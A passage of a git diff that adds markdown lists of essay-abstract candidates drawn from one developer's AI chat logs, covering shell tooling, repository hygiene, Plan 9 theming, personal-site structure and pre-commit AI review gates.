abstract register. +- Abstract: A personal publishing system should not inherit academic language just because it contains serious work. Some routes need to be ordinary, direct, and easy to say. + +The structure can support scholarship without making every surface feel like a seminar. +- Notes: Based on Kris telling the assistant it was thinking too academically and abstractly. + +## Candidate 10: Preserve Turn Integrity +- Source: 819b8e59-7fcb-4b23-814e-9d5cdc633612.jsonl, 2026-05-23T06:38:58.571Z +- Type: position +- Confidence: high +- Kris point: Chat archives should preserve who said what instead of merging turns into a smoother artifact. +- Abstract: When importing a chat, the transcript should keep its structure. The whole point is to know what came from the agent and what came from the user. + +Cleaning the format is fine. Collapsing authorship is not. Provenance is part of the content. +- Notes: Directly based on Kris objecting to "merged turns." + +## Candidate 11: Research Dumps Need A Home +- Source: 26a8511b-d235-4282-956f-de43df69dcba.jsonl, 2026-05-23T05:54:53.407Z +- Type: workflow +- Confidence: high +- Kris point: Deep research should be sorted into the 100x directory structure instead of left as chat output. +- Abstract: Research becomes useful when it lands somewhere stable. Scripts, aliases, and examples should not stay trapped in a transcript. + +The 100x project is a way to turn discovery into a usable library, with categories for CTFs, IRC, competitive programming, and whatever else deserves its own working shelf. +- Notes: Based on Kris asking for research to be organized into `src/100x`. + +## Candidate 12: Build Toolkits By Community +- Source: 26a8511b-d235-4282-956f-de43df69dcba.jsonl, 2026-05-23T05:54:53.407Z +- Type: workflow +- Confidence: high +- Kris point: Useful scripts should be researched by studying the actual habits of specific technical communities. +- Abstract: The best shell functions are not invented in isolation. They come from seeing what HackTheBox players, IRC users, competitive programmers, photographers, and creators actually automate. + +A serious toolkit should be built from observed practice across communities, then cleaned and sorted into local conventions. +- Notes: Synthesizes Kris's repeated requests for community-specific alias and script research. + +## Candidate 13: Prepare For The Next Puzzle +- Source: b27d6839-396a-4dcf-ad69-ab29169d3a21.jsonl, 2026-05-21T08:23:00.767Z +- Type: essay-seed +- Confidence: high +- Kris point: A serious puzzle toolkit should be ready before the next Cicada-style event appears. +- Abstract: The right time to build capability is before the puzzle returns. When something like Cicada 3301 appears, the advantage goes to people who already have tools for cryptography, OSINT, audio analysis, number theory, forensics, and strange file formats. + +The project is not nostalgia. It is a way to turn curiosity into preparedness. +- Notes: Based on Kris reflecting on being young and less technical during Cicada 3301. + +## Candidate 14: Security Research Should Start At The Top +- Source: 0710ce04-79a5-4116-957c-815aec947f20.jsonl, 2026-05-23T06:07:05.862Z +- Type: workflow +- Confidence: high +- Kris point: To design a serious home network, start from NSA, Pentagon, and top corporate security guidance. +- Abstract: A home network should not be planned from vibes and router defaults. If the goal is serious security, the research should begin with the most rigorous public guidance available. + +That means looking at hardening guides, firewall models, VLANs, VPNs, hardware boundaries, port policy, and monitoring as one system. +- Notes: Directly based on Kris asking for NSA/Pentagon-level security research. + +## Candidate 15: Plan 9 Belongs In The Threat Model +- Source: 0710ce04-79a5-4116-957c-815aec947f20.jsonl, 2026-05-23T06:07:05.862Z +- Type: position +- Confidence: high +- Kris point: A Plan 9 cluster on the same network has to be included in network security planning. +- Abstract: Security planning cannot stop at the Linux machines. If a Plan 9 cluster is on the same network, it is part of the environment and part of the threat model. + +The unusual systems are exactly the ones that need explicit research, because standard hardening advice may not map cleanly onto them. +- Notes: Based on Kris asking for equivalent security research for his Plan 9 cluster. + +## Candidate 16: AI Should Be Callable Infrastructure +- Source: b5064f41-1c65-4501-9443-ce5211fe593a.jsonl, 2026-05-23T05:40:39.585Z +- Type: essay-seed +- Confidence: medium +- Kris point: AI assistance should be reachable by phone when server work needs hands-free or urgent coordination. +- Abstract: A local assistant is more useful if it can participate through the channels that match the situation. When checking on a server or handling infrastructure, a phone call could be a practical interface. + +The idea is not novelty for its own sake. It is about making the assistant available where operational work actually happens. +- Notes: Based on Kris asking how Claude could call him or be called for server checks; avoids account details. + +## Candidate 17: Report Only Action +- Source: a8439110-9169-4f75-92ef-07c6d5162b2a.jsonl, 2026-05-23T06:00:21.179Z +- Type: workflow +- Confidence: high +- Kris point: Automation reports should skip noise and mention only repositories where action was taken. +- Abstract: A bulk maintenance command should be efficient in both work and reporting. If a repo is already up to date, the report does not need to spend attention on it. + +The useful output is the set of changed repos, the sensible commits made, and the pushes completed. +- Notes: Directly based on the recurring `dev-push` instruction. + +## Candidate 18: Commit Local Work Sensibly +- Source: a8439110-9169-4f75-92ef-07c6d5162b2a.jsonl, 2026-05-23T06:00:21.179Z +- Type: workflow +- Confidence: high +- Kris point: When maintaining many repos, uncommitted work should be turned into sensible commits before pushing. +- Abstract: Repository hygiene should be active, not ceremonial. If a repo has meaningful uncommitted changes, commit them with a message that explains the change and push the result. + +The goal is not to narrate every clean repository. The goal is to keep owned repositories moving without losing local work. +- Notes: Based on repeated instructions for `dev-push`. + +## Candidate 19: Snippets Should Be Plain URLs With Comments +- Source: 4a71fcb6-41cd-4720-a8c2-7aad4e424821.jsonl, 2026-05-23T02:07:30.928Z +- Type: position +- Confidence: high +- Kris point: A snippets file should be simple, comment-oriented, and stripped of decorative junk. +- Abstract: A snippets file is useful when each line is easy to scan and reuse. For URLs, the structure should be the URL plus a comment that explains why it is there. + +Color-code clutter and overbuilt formatting defeat the purpose. The file should behave like a practical personal index. +- Notes: Based on Kris asking to rewrite snippets with URL plus comment format and remove unrelated material. + +## Candidate 20: A Dev Server Script Should Know The Project +- Source: 4a71fcb6-41cd-4720-a8c2-7aad4e424821.jsonl, 2026-05-23T04:40:48.546Z +- Type: workflow +- Confidence: high +- Kris point: A single `srv` command should handle common project types, including Plan 9, static sites, Next.js, and SvelteKit. +- Abstract: Starting local projects should not require remembering a different command for every stack. A system-level `srv` script should inspect the project and do the obvious thing. + +The script should understand local conventions, not just one framework. It should work from the surrounding directory structure and make the common path short. +- Notes: Directly based on Kris asking to turn `srv` into a bin script with multiple project types. + +## Candidate 21: Ports Should Fail Forward +- Source: 4a71fcb6-41cd-4720-a8c2-7aad4e424821.jsonl, 2026-05-23T04:44:35.789Z +- Type: aphorism +- Confidence: high +- Kris point: A local server command should move to the next available port when the requested one is busy. +- Abstract: A dev server that crashes because port 3000 is taken is not smart enough. It should find the next available port and keep going. + +This is basic ergonomics. The command should make local work smoother, not force a manual port hunt. +- Notes: Directly based on Kris saying the script should move to the next available port. + +## Candidate 22: Do Not Touch The Old Script Yet +- Source: 2c180ee8-6d2c-4448-8e7c-b769fa88f6df.jsonl, 2026-05-23T03:07:36.718Z +- Type: workflow +- Confidence: high +- Kris point: When replacing a script, first recover and build the better version without deleting the old one. +- Abstract: Replacement should be staged. If an old script exists and a better version was discussed elsewhere, recover the better design and build it alongside the old tool. + +Deletion can wait. The first job is to preserve function while clarifying which tool should become canonical. +- Notes: Based on Kris telling Claude not to touch `dwrite` and later to leave old scripts alone. + +## Candidate 23: Chat History Is A Development Resource +- Source: 2c180ee8-6d2c-4448-8e7c-b769fa88f6df.jsonl, 2026-05-23T03:08:05.019Z +- Type: observation +- Confidence: high +- Kris point: Previous AI chats can contain implementation decisions worth searching and recovering. +- Abstract: The transcript archive is not just logs. It is a memory of designs, abandoned rewrites, names, and decisions that may not exist anywhere else yet. + +When a script or system feels familiar, searching the chats can recover the missing thread and prevent re-solving the same problem badly. +- Notes: Directly based on Kris asking to search chats for a prior conversation. + +## Candidate 24: Theme Consistency Beats Experiments +- Source: 6de59c71-aa98-403d-ae6d-c77f3a258189.jsonl, 2026-05-23T03:11:43.826Z +- Type: position +- Confidence: high +- Kris point: Experimental colors should give way to a coherent theme shared across the system. +- Abstract: Trying greens and reds is fine as an experiment, but if the scheme feels wrong, save it and move on. + +The better direction is to pull from the existing editor theme so the desktop environment, code editor, and status surfaces feel like one system. +- Notes: Based on Kris asking to save the current Conky scheme and switch to the Zed config colors. + +## Candidate 25: Gitroll Complements Blogroll +- Source: a1c5fc5b-f46e-452b-b9cd-5d3a919539d0.jsonl, 2026-05-22T07:55:18.837Z +- Type: essay-seed +- Confidence: high +- Kris point: A personal site should link to people's git homes, not only blogs and channels. +- Abstract: Blogrolls, podrolls, YouTube links, and Twitch links cover only part of how people publish. A lot of the most interesting work lives in git, often outside GitHub. + +A gitroll gives that work a first-class place. It treats source code and personal forges as part of the social web. +- Notes: Directly based on Kris asking to create a gitroll with blogroll-like fields. + +## Candidate 26: SourceHut Can Be More Canonical +- Source: 17f295c4-cd20-4ede-bdca-81086213be24.jsonl, 2026-05-21T07:33:11.003Z +- Type: position +- Confidence: medium +- Kris point: For some projects, a SourceHut link may be more canonical than a GitHub link. +- Abstract: GitHub is not always the center of a person's work. If someone lives on SourceHut, the SourceHut URL can be the primary link. + +The better blogroll or gitroll should be able to include both, while still respecting which forge is actually canonical for that person. +- Notes: Based on Kris saying to upgrade a link to SourceHut because it seemed more canonical. + +## Candidate 27: Pages Should Be Separate Repos +- Source: 17f295c4-cd20-4ede-bdca-81086213be24.jsonl, 2026-05-21T00:42:59.330Z +- Type: position +- Confidence: high +- Kris point: Site-connected pages should be separate repos when they are serious enough to matter. +- Abstract: A route attached to the main domain should not automatically become a folder inside the main site. If it is a real project, it deserves its own repository. + +Separate repos make ownership, deployment, and project boundaries clearer. Anything less risks becoming clutter. +- Notes: Directly based on Kris saying pages need to be separate repos. + +## Candidate 28: Academic Shrine Pages Can Be Playful +- Source: 012e4b5d-34d4-4abb-af6e-25ec6d73de66.jsonl, 2026-05-21T18:49:10.818Z +- Type: position +- Confidence: high +- Kris point: Academic field pages can be shrine-like and playful rather than framed only as serious research. +- Abstract: Not every academic page needs to present itself as formal research. Some pages can say: I do fun things in this field, make programs, collect images, and write around it. + +That still belongs on an academic site. It just needs a page form that admits curiosity, play, and personal attachment. +- Notes: Based on Kris describing new academic pages as "shrine type" and less serious than homepage fields. + +## Candidate 29: Classical Backgrounds Have Their Place +- Source: 012e4b5d-34d4-4abb-af6e-25ec6d73de66.jsonl, 2026-05-21T18:52:47.604Z +- Type: observation +- Confidence: medium +- Kris point: Design should match the subject, including a classical white treatment for chess. +- Abstract: A page about chess does not need the same visual language as every other page. A classical white background can carry the subject better than a generic theme. + +The site should have enough discipline to stay coherent and enough range to let specific subjects breathe. +- Notes: Based on Kris asking for a chess page with a classical white background. + +## Candidate 30: Plan 9 Aesthetics Need Accuracy +- Source: c80569d4-47a6-4b3e-9d12-914c8975e1de.jsonl, 2026-05-16T04:21:07.368Z +- Type: position +- Confidence: high +- Kris point: A Plan 9 colorscheme should be researched for accuracy instead of approximated from memory. +- Abstract: If the point is Plan 9, the colors should not be a vague retro palette. They should be researched from real sources and artifacts. + +Accuracy matters because the aesthetic is tied to a working environment, not just a look. The details encode a philosophy of interfaces. +- Notes: Directly based on Kris asking for the most accurate Plan 9 colorscheme. + +## Candidate 31: Plan 9 Widgets Should Belong To The System +- Source: c80569d4-47a6-4b3e-9d12-914c8975e1de.jsonl, 2026-05-16T04:25:53.551Z +- Type: position +- Confidence: high +- Kris point: Faces and stats should be integrated like system widgets, not awkwardly run on top of a dwm window. +- Abstract: A widget that floats as an ordinary window is not integrated. If faces and stats are part of the desktop, they should live as part of the system surface. + +The goal is not merely to run Plan 9 tools, but to understand how they are supposed to be hooked up and displayed. +- Notes: Based on Kris discussing Plan 9 faces and stats. + +## Candidate 32: Separate Code And Writing By Command +- Source: af16476b-e8ca-4376-af22-76b7cdd730bc.jsonl, 2026-05-18T08:36:26.643Z +- Type: position +- Confidence: high +- Kris point: `write` should launch the writing editor config, while the script formerly competing for that name needs a different term. +- Abstract: Names in a toolchain should reflect the primary action. If `code` opens the code editor config, then `write` should open the writing config. + +A script that interferes with that naming should be renamed, even if it remains useful. Command vocabulary is part of the interface. +- Notes: Directly based on Kris's naming conflict around `write`. + +## Candidate 33: Tome Names The Body Of Work +- Source: af16476b-e8ca-4376-af22-76b7cdd730bc.jsonl, 2026-05-18T08:43:48.800Z +- Type: essay-seed +- Confidence: high +- Kris point: `tome` is a better name for scripts that manage the body of work. +- Abstract: `tome` works because it names the body of work rather than the act of writing. It can hold commands like edit, write, and manage without stealing `write` from the editor config. + +The name creates a small language: code for code, write for writing, tome for the corpus. +- Notes: Based on Kris choosing `tome` and describing it as his body of work. + +## Candidate 34: Root Home Should Stay Small +- Source: d1cbb915-2310-414f-b92f-dc127f339416.jsonl, 2026-05-21T11:10:23.090Z +- Type: position +- Confidence: high +- Kris point: The home directory should have as few visible directories as possible, even when the content corpus is large. +- Abstract: A large writing and content system does not have to sprawl across `$HOME`. The top level should stay small and intentional. + +The hard question is where the many markdown-based content directories belong. Hiding them may introduce problems, but leaving them loose makes the home directory worse. +- Notes: Based on Kris planning a new system with minimal home directories. + +## Candidate 35: Hidden Corpus Has Costs +- Source: d1cbb915-2310-414f-b92f-dc127f339416.jsonl, 2026-05-21T11:10:23.090Z +- Type: observation +- Confidence: high +- Kris point: Putting a content corpus in a hidden directory may create practical problems despite making `$HOME` cleaner. +- Abstract: A hidden `.corpus` directory is tempting because it reduces visual clutter. But hiding the main body of work can interfere with tooling, discoverability, and daily navigation. + +The name and placement of the corpus need to serve both cleanliness and actual use. +- Notes: Directly based on Kris questioning `.corpus`. + +## Candidate 36: Fast Tools Should Feel Like nnn +- Source: 96a19e01-a447-4e8d-b6f5-e4ded8b893b5.jsonl, 2026-05-21T11:23:18.919Z +- Type: position +- Confidence: high +- Kris point: Small command-line tools should be fast enough to feel like `nnn`. +- Abstract: A Bible lookup tool should not feel heavy just because it has a large text behind it. If the data is local, the interface should be instant. + +Speed is part of the design. A tool that handles multi-verse pulls and common queries can still follow suckless expectations. +- Notes: Based on Kris asking for a faster KJV tool with `nnn`-like speed. + +## Candidate 37: Suckless Standards Are A Performance Question +- Source: 96a19e01-a447-4e8d-b6f5-e4ded8b893b5.jsonl, 2026-05-21T11:29:31.144Z +- Type: argument +- Confidence: medium +- Kris point: Suckless style is not just aesthetic; it should be tested against speed and simplicity. +- Abstract: Saying a tool follows suckless standards is not enough. The relevant question is whether those standards made the tool smaller, clearer, and faster, or whether they were applied as decoration. + +The standard is practical. If it slows the tool down, something has gone wrong. +- Notes: Based on Kris asking whether suckless standards were followed and whether they would make the KJV tool slower. + +## Candidate 38: Use AI Plans As Shared s +- Source: ea11a168-78cb-451f-8551-a5a6385cd2e9.jsonl, 2026-05-20T05:36:34.617Z +- Type: workflow +- Confidence: high +- Kris point: Implementation plans should be turned into checklists that multiple agents can use without mixing responsibilities. +- Abstract: A rewrite plan is not useful if it remains prose. It should become a checklist with sections, micro-sections, owners, and clear progress markers. + +When Claude and Codex are both working, the file itself should coordinate the work. The plan should prevent duplicated effort and accidental overlap. +- Notes: Based on Kris asking to split responsibility between Claude and Codex in `rewrite.md`. + +## Candidate 39: Update The File, Not The Chat +- Source: ea11a168-78cb-451f-8551-a5a6385cd2e9.jsonl, 2026-05-20T05:38:01.107Z +- Type: aphorism +- Confidence: high +- Kris point: If a plan is meant to coordinate work, update the file instead of explaining it in chat. +- Abstract: Coordination belongs in the artifact that the workers will use. Explaining the checklist in the chat does not help if the actual file stays stale. + +The file is the source of truth. Put the plan where the work happens. +- Notes: Directly based on Kris saying "update this in the file." + +## Candidate 40: Static First Means Removing API Fetches +- Source: ea11a168-78cb-451f-8551-a5a6385cd2e9.jsonl, 2026-05-20T07:07:55.699Z +- Type: workflow +- Confidence: medium +- Kris point: Client components that fetch internal API routes should be audited for replacement with server-rendered data. +- Abstract: A static-first site should not accumulate internal API fetches by default. If a client component calls `/api/...`, that is a surface to audit. + +Some endpoints may be necessary, but many can be moved into server components or build-time data. The goal is a smaller runtime and a cleaner architecture. +- Notes: Inferred from agent task summary about auditing RSC-replaceable endpoints during Kris-directed rewrite work. + +## Candidate 41: Plan 9 Theme Over Solarized +- Source: a6ca464d-851b-4819-95eb-b812d7db0f62.jsonl, 2026-05-20T16:29:49.616Z +- Type: position +- Confidence: high +- Kris point: krisyotam.com should move from a generic Solarized theme toward a Plan 9-inspired theme drawn from local editor colors. +- Abstract: Solarized is familiar, but it is not necessarily the right identity for the site. A Plan 9 theme can make the site feel more like the rest of the system. + +The right palette should be drawn from the local Zed and Neovim themes, so the site becomes part of the same visual world. +- Notes: Directly based on Kris asking for a Plan 9 theme for krisyotam.com. + +## Candidate 42: Native VS Code Is Refused +- Source: 057f60d0-17f2-4b8c-9bee-bee67e241fa8.jsonl, 2026-05-21T10:56:44.182Z +- Type: position +- Confidence: high +- Kris point: Even when a VS Code-derived feature is useful, native VS Code is not an acceptable tool. +- Abstract: A theme or extension can be worth borrowing, but that does not mean adopting the whole upstream application. + +The boundary matters. VSCodium may be acceptable; native VS Code is not. +- Notes: Based on Kris saying he refused to use native VS Code even if possible. + +## Candidate 43: Buy Research Capacity Strategically +- Source: 057f60d0-17f2-4b8c-9bee-bee67e241fa8.jsonl, 2026-05-21T10:54:59.055Z +- Type: observation +- Confidence: medium +- Kris point: Different AI subscriptions can be treated as research capacity, not just chat products. +- Abstract: If Gemini offers more deep research under a cheap plan, it can be part of the research stack alongside Codex. + +The point is not loyalty to a model. The point is throughput, coverage, and using the right quota pool for the kind of work being done. +- Notes: Based on Kris discussing Gemini CLI and Antigravity as sources of deep research capacity. + +## Candidate 44: Small Dashboards Without LazyVim +- Source: 8fb91612-0cb7-4ea1-8903-913eeec22bba.jsonl, 2026-05-21T10:02:10.306Z +- Type: position +- Confidence: high +- Kris point: The useful part of LazyVim can be copied without accepting LazyVim's bloat. +- Abstract: A launch dashboard is useful when `code` or `write` opens without a file path. But that does not require adopting LazyVim wholesale. + +Borrow the small affordance. Leave the plugin bundle and extra mappings behind. +- Notes: Directly based on Kris requesting only the dashboard behavior and rejecting LazyVim bloat. + +## Candidate 45: Dashboards Should Point To The Files That Matter +- Source: 8fb91612-0cb7-4ea1-8903-913eeec22bba.jsonl, 2026-05-21T10:10:34.165Z +- Type: workflow +- Confidence: high +- Kris point: Editor dashboards should surface the configuration files that will actually be edited often. +- Abstract: A start screen is only valuable if it points to real work. For this system, that means mkshrc, planrc, functions, aliases, and the code and writing configs. + +The dashboard should be a practical launchpad, not a decorative homepage. +- Notes: Based on Kris replacing LazyVim links with shell and config files he expects to edit. + +## Candidate 46: Shell Names Cannot Collide +- Source: c90a2cfa-2420-4f89-ab37-ee353e5b9852.jsonl, 2026-05-21T12:20:13.490Z +- Type: observation +- Confidence: high +- Kris point: Aliases, shell commands, and bin scripts need distinct names because redundant names create confusion. +- Abstract: The shell is a namespace. If an alias, a function, and a bin script fight for the same word, the interface becomes unpredictable. + +Tool naming has to be planned like any other API. Short names are powerful because they are scarce. +- Notes: Based on Kris asking whether aliases, shell commands, and bin scripts cannot have redundant names. + +## Candidate 47: Make Man Pages For Local Tools +- Source: c90a2cfa-2420-4f89-ab37-ee353e5b9852.jsonl, 2026-05-21T12:17:13.517Z +- Type: workflow +- Confidence: high +- Kris point: Local bin scripts deserve local manual pages. +- Abstract: A personal operating environment can have documentation that behaves like the rest of Unix. If a script is important enough to live in `bin`, it can have a man page. + +This keeps local commands from becoming folklore. The documentation becomes part of the tool. +- Notes: Based on Kris asking if he can create his own man pages for bin scripts. + +## Candidate 48: Research Systems Should Be Simpler Than The Dream Version +- Source: c90a2cfa-2420-4f89-ab37-ee353e5b9852.jsonl, 2026-05-21T11:40:52.698Z +- Type: argument +- Confidence: medium +- Kris point: A bloated research-system plan can still contain references worth salvaging, but the replacement should be simpler. +- Abstract: The old research system idea may have had useful pieces, such as bibliography integration, but it became too convoluted to be the main path. + +The better move is to keep the references and build a simpler system that can actually be used. +- Notes: Based on Kris describing an older research setup as bloated and convoluted. + +## Candidate 49: `fs` Should Search Repos From Anywhere +- Source: e1b0a562-967b-4cd3-abbc-e014f6ae35ba.jsonl, 2026-05-22T21:46:16.395Z +- Type: workflow +- Confidence: high +- Kris point: A repository search alias should work from anywhere and return a clean list of matching repos under `~/src`. +- Abstract: Finding a repo should not require navigating to the source directory first. A small `fs` command can search root-level directory and file names under `~/src` from anywhere. + +The output should be formatted for reading, not dumped as raw `find` noise. +- Notes: Directly based on Kris specifying `fs "word"` syntax and formatted output. + +## Candidate 50: The Source Tree Is `src`, Not `dev` +- Source: e1b0a562-967b-4cd3-abbc-e014f6ae35ba.jsonl, 2026-05-22T21:47:10.250Z +- Type: position +- Confidence: high +- Kris point: The working source directory has moved to `~/src`, and tooling should stop recreating or depending on `~/dev`. +- Abstract: Once the source tree has moved, tools should follow the new canonical path. Recreating a fake `dev` hierarchy only preserves confusion. + +The directory layout is part of the operating system. Scripts need to respect it. +- Notes: Based on Kris telling Claude that `src /dev is gone` and to use the home `src` directory. + +## Candidate 51: Do Not Create Fake Repo Replicas +- Source: 8c422c44-87ef-493d-8042-68189dca88ba.jsonl, 2026-05-23T01:59:26.704Z +- Type: position +- Confidence: high +- Kris point: Tools should never create fake replica directories when the real repo already exists elsewhere. +- Abstract: A script placed in a fake nested repo path is worse than a missing script. It suggests the assistant did not understand the system. + +The right fix is to put tools in the actual system bin or the actual canonical repo, not invent parallel structure. +- Notes: Based on Kris objecting to `dev/100x/dev/bin` and a fake replica of another repo. + +## Candidate 52: The System Bin Is The System Bin +- Source: 8c422c44-87ef-493d-8042-68189dca88ba.jsonl, 2026-05-23T01:59:26.704Z +- Type: aphorism +- Confidence: high +- Kris point: When a script belongs in the system bin directory, putting it in a project-local fake bin is wrong. +- Abstract: A command meant for the whole system belongs where system commands live. Project-local bins are for project-local tooling. + +The distinction is simple, but violating it breaks trust in the environment. +- Notes: Based on Kris's criticism of where `srv` was placed. + +## Candidate 53: Plaintext Snippets Are Worth Studying +- Source: be4dd60f-7d04-47b7-aa8e-84ca804d43e9.jsonl, 2026-05-22T22:58:52.591Z +- Type: workflow +- Confidence: high +- Kris point: Before designing a snippets file, study how serious Linux users, developers, writers, and researchers keep theirs. +- Abstract: A snippets file is a personal tool, but it does not have to be designed from scratch. Luke Smith and other power users provide examples of structure, conventions, and useful contents. + +The research goal is practical: find real source files, compare them, and decide what to steal or reject. +- Notes: Directly based on Kris's request for deep research on plaintext snippets files. + +## Candidate 54: Personal Link Indexes Should Span Domains +- Source: 4a71fcb6-41cd-4720-a8c2-7aad4e424821.jsonl, 2026-05-23T02:07:30.928Z +- Type: observation +- Confidence: medium +- Kris point: A personal snippets index should cover sites, clippings, academia, music, social profiles, code practice, media tracking, wikis, and trackers. +- Abstract: The point of a snippets file is not one category of bookmarks. It is a quick-access map of the places that matter across work, study, media, and maintenance. + +The structure should keep categories visible while making individual URLs easy to copy, search, and annotate. +- Notes: Based on the categories Kris pasted for the snippets rewrite; excludes sensitive specifics. + +## Candidate 55: Own The Account Surface +- Source: 5707b404-df1d-47b9-8764-bced7ae2e244.jsonl, 2026-05-23T05:12:25.549Z +- Type: workflow +- Confidence: medium +- Kris point: Email-based account discovery should identify every service, transfer, deletion, and expiration across accounts. +- Abstract: Personal account sprawl is an operational surface. A serious audit should find which services were registered with which email, what moved, what expired, and what was deleted. + +The output should be organized enough to become a map of exposure and ownership, not just a pile of scanner hits. +- Notes: Based on Kris requesting deep scans across emails; no credentials included. + +## Candidate 56: Do Not Lose The Old Reddit Arguments +- Source: 47bd9bf7-4c11-4119-8a55-821a94ceca88.jsonl, 2026-05-23T07:30:23.447Z +- Type: essay-seed +- Confidence: medium +- Kris point: Old platform arguments can become starter content if their text and metadata are recovered carefully. +- Abstract: Old Reddit arguments are not necessarily disposable. They can become seed material for posts if the text is extracted, dates are recovered, and the context is preserved. + +The value is not in pretending they were polished essays. The value is in giving them a route where rough public thinking can be archived and worked over. +- Notes: Based on Kris asking to OCR old Reddit argument images for demo posts. + +## Candidate 57: Authors Field Must Handle Multiple Origins +- Source: 47bd9bf7-4c11-4119-8a55-821a94ceca88.jsonl, 2026-05-23T07:30:23.447Z +- Type: workflow +- Confidence: low +- Kris point: New post infrastructure should allow multiple authors because AI-assisted and imported work may have mixed origins. +- Abstract: A posts table needs an authors field that can hold more than one author. That matters when content comes from old platforms, conversations, collaborations, or AI-assisted workflows. + +The data model should admit mixed provenance instead of forcing every post into a single-author fiction. +- Notes: Based on Kris specifying a posts table with an authors column accepting multiple authors; the mixed-origin rationale is inferred from the surrounding AI-conversation publishing discussion. + +## Candidate 58: Media Rollups Need Peer Data +- Source: a1c5fc5b-f46e-452b-b9cd-5d3a919539d0.jsonl, 2026-05-22T07:55:18.837Z +- Type: workflow +- Confidence: high +- Kris point: Linkding can be mined to populate rolls of interesting people and their git profiles. +- Abstract: Personal bookmarks already contain social and technical judgment. If a link database has many people's git profiles, that data should feed the site's public rolls. + +The site can become a curated map of people, blogs, and forges by reusing the evidence already collected privately. +- Notes: Based on Kris asking to poll Linkding for git profiles to add to the gitroll. + +## Candidate 59: Voice Assistants Need Server Context +- Source: b5064f41-1c65-4501-9443-ce5211fe593a.jsonl, 2026-05-23T05:43:44.233Z +- Type: workflow +- Confidence: medium +- Kris point: A phone-based Claude setup should be evaluated as infrastructure on Stargate, not just as an app. +- Abstract: Running a voice bridge to an AI assistant belongs in the same category as other homelab services. It needs hosting, telephony, credentials, and operational boundaries. + +The useful question is what has to be installed or configured on Stargate for it to become a dependable interface. +- Notes: Based on Kris asking what would be required to set up `claude-phone` on Stargate; no secrets included. + +## Candidate 60: Public Research Should Become Markdown +- Source: b8ee3f5e-775f-4096-933b-de647dfa9651.jsonl, 2026-05-21T10:47:40.448Z +- Type: workflow +- Confidence: high +- Kris point: Agent research should end as a markdown file in 100x, not as ephemeral chat text. +- Abstract: When agents research rc shell writing, public video lists, or command collections, the result should be written to a file at the project root. + +Markdown is the handoff format. It turns a search session into a reusable reference. +- Notes: Based on Kris telling Claude to write the research into a `.md` file at the root of `dev/100x`. diff --git a/doc/abstracts/claude-projects-topical-candidates.md b/doc/abstracts/claude-projects-topical-candidates.md new file mode 100644 index 0000000000000000000000000000000000000000..4360ea8f03652a458ee51d9c52fe86ba1fb97883 --- /dev/null +++ b/doc/abstracts/claude-projects-topical-candidates.md @@ -0,0 +1,619 @@ +## Candidate 1: Pre-Commit Gates Should Police Breakage, Not Taste +- Source: 955478ad-f5d1-4a91-92b8-5fef6c4e6c1d.jsonl, 2026-05-12, krisyotam.com +- Type: workflow +- Confidence: high +- Kris point: A pre-commit AI gate should distinguish real defects from style preferences and refuse to waste attention on cosmetic objections. +- Abstract: The useful AI reviewer is not an all-purpose critic. Its job is narrower: broken imports, syntax errors, injection risks, XSS, missing required fields, broken URLs, removed critical code, boundary error handling, and null dereferences. + +Everything else should be demoted or ignored. Style commentary, minor formatting, and unchanged typing preferences are noise at commit time. The gate earns trust by being strict where breakage matters and silent where taste belongs elsewhere. +- Notes: Inferred from repeated krisyotam.com pre-commit prompt rules. + +## Candidate 2: Output Contracts Make AI Review Useful +- Source: 955478ad-f5d1-4a91-92b8-5fef6c4e6c1d.jsonl, 2026-05-12, krisyotam.com +- Type: workflow +- Confidence: high +- Kris point: AI review becomes operational only when it returns a rigid machine-readable shape. +- Abstract: A reviewer that writes paragraphs creates another review problem. A reviewer that returns `STATUS`, `ERRORS`, `WARNINGS`, and one failure reason can be routed, compared, and trusted in a script. + +The constraint is the point. The model is not invited to perform personality. It is asked to say pass or fail, list actionable findings, and stop. +- Notes: Based on strict pre-commit output format across krisyotam.com and notes.krisyotam.com. + +## Candidate 3: Critical Code Removal Is A First-Class Failure +- Source: 955478ad-f5d1-4a91-92b8-5fef6c4e6c1d.jsonl, 2026-05-12, krisyotam.com +- Type: position +- Confidence: high +- Kris point: A code review gate should treat removal of critical behavior as seriously as syntax failure. +- Abstract: The danger in a commit is not only that something new is wrong. The danger is also that something necessary quietly disappears. + +This is why deleted routes, removed guards, and changed return contracts belong in the error class. The system should ask whether the site still does what it used to promise before it celebrates a green diff. +- Notes: Derived from explicit pre-commit rule "removed critical code." + +## Candidate 4: Broken Imports Are A Social Problem +- Source: 520cf89a-ec6a-4948-be7f-c8e76f685626/subagents/agent-a206da0.jsonl, 2026-01-11, krisyotam.com +- Type: workflow +- Confidence: high +- Kris point: Route and import audits are maintenance hygiene because dead surfaces confuse both humans and tools. +- Abstract: A personal site with many routes needs periodic archaeology. Every API route should be listed, traced through fetch calls, imports, components, pages, and library references, then classified as used or unused. + +Dead code is not merely clutter. It creates false affordances, stale assumptions, and unnecessary fear around deletion. A serious audit names what can be removed and why. +- Notes: From API route audit prompt. + +## Candidate 5: Delete Unused Interfaces Deliberately +- Source: 520cf89a-ec6a-4948-be7f-c8e76f685626/subagents/agent-a206da0.jsonl, 2026-01-11, krisyotam.com +- Type: workflow +- Confidence: high +- Kris point: Before deleting API routes, prove non-use across the whole codebase. +- Abstract: Deletion is good, but casual deletion is not. The right sequence is inventory, reference search, evidence, and then removal. + +The report matters because it turns deletion from a hunch into a maintainable decision. It should show every route, every known use, and every candidate for deletion. +- Notes: Same audit prompt, cleaned into a candidate workflow. + +## Candidate 6: Standard Filenames Beat Clever Component Names +- Source: a0710726-dfee-4a3b-a0cf-c8d5532d5872.jsonl and 2026-04-25 krisyotam.com client-page convention diff +- Type: position +- Confidence: high +- Kris point: Every route client component should be named `client.tsx` because predictable local convention beats bespoke naming. +- Abstract: Naming every route client component after its page produces a long tail of small differences. Naming all of them `client.tsx` makes the filesystem easier to scan and makes route structure carry the meaning. + +The human name belongs in metadata, not the filename. The filename is a convention; the header can carry the description. +- Notes: Source is the client-page convention diff embedded in a pre-commit prompt. + +## Candidate 7: Metadata Headers Are Memory For Future Agents +- Source: 2026-04-25 krisyotam.com client-page convention diff +- Type: workflow +- Confidence: high +- Kris point: Standard headers on client components are a lightweight memory system for humans and AI agents. +- Abstract: A file header with type, name, path, and one-line purpose is not decorative if the repository is large and agent-mediated. It reduces ambiguity at the point where mistakes are cheap. + +The header turns a generic `client.tsx` into a known surface without giving up the simplicity of a uniform filename. +- Notes: Based on required `client.tsx` header format in the diff. + +## Candidate 8: Personal Sites Need Canonical URL Discipline +- Source: 2026-05-14 README.txt diff, krisyotam.com +- Type: 